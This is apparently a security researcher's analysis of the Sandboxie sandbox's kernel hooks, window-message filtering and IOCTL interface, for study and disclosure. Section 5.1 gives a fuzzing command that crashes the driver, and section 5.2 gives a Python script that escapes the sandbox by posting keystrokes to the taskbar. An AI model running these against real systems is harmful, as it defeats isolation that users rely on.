1. Introduction:
Sandboxie is a sandbox that performs a process isolation. Its main features:
-Access control to kernel resources by direct hooks on kernel objects.
-Some ssdt and shadow ssdt hooks to control window messages.
-Some kernel registered callbacks to be notified of process creating, images loaded, …
In this article I will speak about sandoxie design and I will perform a analysis from a security point of view.
2. Sandboxie design:
Sandboxie consists of a interface application, a service, … but we are interested in two components: SbieDrv.sys, the driver that hooks in kernel, and SbieDll.dll, the dll that is injected to the sandboxed processes.
Sandboxie driver hooks in kernel to protect resources from sandboxed processes (it hooks kernel objects of type “Type”, ssdt, shadow ssdt).
Driver will put a callback with PsLoadImageNotifyRoutine and PsCreateProcessNotifyRoutineto be notified when a image is loaded or a process is created. Sandboxie driver will have a list with all sandboxed processes that must control. If the parent of a created process is sandboxed, the new process will be linked in the list of sandboxed processes too.
The resource access control is easy: if the process is sandboxed, access is denied, and i f the process is not sandboxed, access is granted.
However Sandboxie lets some resources to the sandboxed processes. In addition it builds a “parallel” file system, registry, … for sandboxed processes. For this reasonSandboxie will export a lot of functionality with Io Controls for accesing files, registry, … in a secure way. So sandboxed processes must access system resources with Sandboxie driver Io Controls.
Here it comes SbieDll. SbieDll will hook all exports for all dlls into the sandboxed processes.This dll is necessary to have the sandboxed processes working. When it hooks important apis such as ZwCrateFile, ZwCreateProcess, ZwOpenKey, …, the dll stop the normal execution flow to kernel for redirecting it to SbieDrv Io Controls (if you remove all SbieDll user mode hooks with HookShark for example, you can see that the process can’t access anything).
3. Resources access control:
Sandboxie hooks some kernel objects found in \ObjectTypes directory: token, process, thread, event, section, port and semaphore, of type “Type”.It hooks the function pointer OpenProcedure (OB_OPEN_METHOD type) to control the access to that type of objects:
OBJECT_TYPE ->OBJECT_TYPE_INITIALIZER-> OpenProcedure
Only with this it can to control file disk access, registry, …
It must control window messages too (managed by win32k.sys). It must stop some messages from sandboxed processes, windows hooks, …
To do that SbieDrv intercepts some ssdt and shadow ssdt apis:
3.1. \ObjectTypes hooks:
We are going to analyze objects under \ObjectTypes and we will take Token object for this analysis with windbg:
WINDBG>dt _OBJECT_TYPE 819cc040
ntdll!_OBJECT_TYPE
+0×000 Mutex : _ERESOURCE
+0×038 TypeList : _LIST_ENTRY [ 0x819cc078 - 0x819cc078 ]
+0×040 Name : _UNICODE_STRING “Token”
+0×048 DefaultObject : 0×80558cc0
+0×04c Index : 4
+0×050 TotalNumberOfObjects : 0×1a
+0×054 TotalNumberOfHandles : 0×10
+0×058 HighWaterNumberOfObjects : 0×1d
+0×05c HighWaterNumberOfHandles : 0×14
+0×060 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0×0ac Key : 0×656b6f54
+0×0b0 ObjectLocks : [4] _ERESOURCE
Como vemos de \ObjectTypes cuelgan varios objetos de tipo Type. La estructura de estos objetos es de tipo _OBJECT_TYPE.
We are interested on OBJECT_TYPE structure and OBJECT_TYPE_INITIALIZER because into this sub-structure we find the pointer to OpenProcedure and other callbacks (open, close, delete, …).
This callback is called when a object of that type (process, token, …) is opened.
SbieDrv hooks the callback OpenProcedure for token, process, thread, event, section, port and semaphore Types.In the next capture we see SbieDrv calling the function that will perform the hook:
It checks OS version and build number to calculate offsets to OpenProcedure into OBJECT_TYPE structure:
It creates a code block for the hook that will write into system memory. Surely the OS checks that OpenProcedure is pointing to OS memory, or KeBugCheck is called. The blocks used for hooking will check always if the current process is a sandboxed process, and it will deny the access in that case. Else, it will grant the access.
This function that i called “ComprobarProcessIdEnListaDeSandboxeadosObtenerEstructura” searchs the current process in the list of sandboxed processes.
In the next image we can see the code where SbieDrv will create the block code for hooks, and where it overwrite OpenProcedure with its pointer.
3.2. Ssdt and shadow ssdt hooks:
Sandboxie hooks these apis:
Most of them are related to controlling window messages from sandboxed applications. We are going to analyze the win32k_NtUserMessageCall hook:
Hook_Win32k_Gestiona_MensajeDeVentana is a function that will performs checks over a window message sent by a sandboxed process to know if the message must be denied or not.
-It gets the process id of the sender and the receiver of the message. If the process that will receive the message is sandboxed, the message is not denied.
-If the message is 0×3e4 it’s not denied.
-It gets the target window class name. SbieDrv has a list of window class names to be managed with some exceptions:
It needs to add this exceptions to let some well known applications to run without problem into the sandbox: explorer, some navigators, etc…
-If the target of the message is a non-sanboxed process, and the sender is a sandboxed process:
a) If the target window class name is not a class of the previous list, the message is denied.
b) If the target windows class name is in the list:
1. If message < WM_USER(0×400), this messages are denied:
The other messages are granted.
2. If message > WM_USER, it depends of the window class name. For example, it will grant msg 0×4ec for Shell_trayWnd.
4. Io Controls:
Sandboxie device is:
\device\SandboxieDriverApi
Io Controls must be:
CTL_CODE(0×00000022, 0×801, METHOD_NEITHER, 0);
User buffer has a 0×8 <= size <= 0×40 bytes. The first DWORD is always 0×123400XX. It is the id of the operation to perform.
SbieDrv has a list with all ids associated with the function to manage them:
5. Sandboxie security:
5.1. Fuzzing Io Controls:
Here is a simple fuzzing using Kartoffel (kartoffel.reversemode.com):
FOR %%A IN (0 1 2) DO FOR %%B IN (0 1 2 3 4 5 6 7 8 9 A B C D E F) DO Kartoffel -d \device\SandboxieDriverApi -n 0×40 -o 0×40 -z 0×40 -Z 0×40 -I 0×222007 -u CUSTOM,”[P=0x123400%%A%%B::*0][B=0x41::*0x3c$4][!!]“
With this command line we sent Io Controls with size 0×40, and with id from 0×12340001 to 0×1234002f, with a buffer filled with ‘A’.
[0x123400XX][AAAAAAAAAAAAAAAAAAAAAAA…]
It is a really simple fuzzing, but it’s enough to get a bug check for0×12340027 id:
KeBugCheck is called from SbieDrv so it is only a non dangerous DoS (we can cause it from a sandboxed process), but we can see that a simple fuzzing causes a crash, and this fact makes me suspicious of Sandboxie robusticity.
5.2. Sending window messages to Shell_TrayWnd (excluded window):
Shell_TrayWnd is a window class name that Sandboxie will give a special management. Sandboxie will let to send more window messages to these window class name from the sandboxed processes.
The next script shows how these additional messages let us to launch application linked from the start menu from a sandboxed process:
VK_LEFT=0×25
VK_UP=0×26
VK_RIGHT=0×27
VK_DOWN=0×28
VK_RETURN=0×0d
VK_TAB=0×09
VK_SHIFT=0×10
VK_CONTROL=0×11
VK_MENU=0×12
import ctypes
import time
from ctypes.wintypes import DWORD, HWND, HANDLE, LPCWSTR, WPARAM, LPARAM, RECT, POINT
trayRect=RECT(0,0,0,0)
trayWindow = ctypes.windll.user32.FindWindowExA(0,0,”Shell_TrayWnd”,0)
trayNotifyWindow = ctypes.windll.user32.FindWindowExA(trayWindow,0,”TrayNotifyWnd”,0)
def PressKey(hwin,key):
msgkeydown=0×100
msgkeyup=0×101
ctypes.windll.user32.PostMessageA(hwin, msgkeydown, key, 0) #KEYDOWN
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(hwin, msgkeyup, key, 0) #KEYUP
time.sleep(0.1)
ctypes.windll.user32.PostMessageA(trayWindow, 0xa1, 1, 0×200020) #WM_NCLBUTTONDOWN
ctypes.windll.user32.PostMessageA(trayWindow, 0xa2, 0, 0×200020) #WM_NCLBUTTONUP
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_UP)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_RIGHT)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_DOWN)
PressKey(trayWindow, VK_RETURN)
(The key pressed in this script will lauch calc.exe in my system, with the disposition of my start menu).
This is not a high security risk but I think it is not the good behaviour for a sandbox.
5.3. Long names:
Sandboxie have problems with long names (more than MAX_PATH and less than 32767 wide chars) because LoadImageNitifyRoutine image name param comes with NULL.
I have not found security risks here but I have found some strange behaviours that will not appears if Sandboxie is not installed.
This detail mades us to think it is risky to intercept so much things in kernel, and difficult to have in mind all possibilities and cases.
5.4. Complex formats parsing:
From my point of view, Sandboxie has risky code in kernel.
For example, SbieDrv LoadImageNotifyRoutine callback parses in depth PE Headers of the loaded image (directly in user mode).
0×12340010 io control opens and parses .ini files from kernel:
SbieDrv disassembles instructions for hooking functions of kernel and user mode, to keep instructions at entry point of the function that will be overwritten.
5.5. Conclusion:
From my point of view process isolation sandboxs have a intrinsic risk:
-It is difficult to intercept all that sandboxed process should not have access.
-It will introduce risky code in sensitive points of the system.
-Hooks and changes to the system will depend of the system version and build, and lof of times they will be dirty and undocumented.
-Surely you will need to add some exceptions in the way that Sandboxie does.
-Specifically, Sandboxie has risky code in kernel: PE headers parsing, ini files parsing.
My conclusion about Sandboxie is that it is a useful tool. I would run a navigator or a pdf reader sandboxed, to help to protect myself from vulnerabilities, but I wouldn’t run a malware to analyze its behaviour in Sandboxie, unless Sandboxie was running in vmware, bochs or other virtual machine.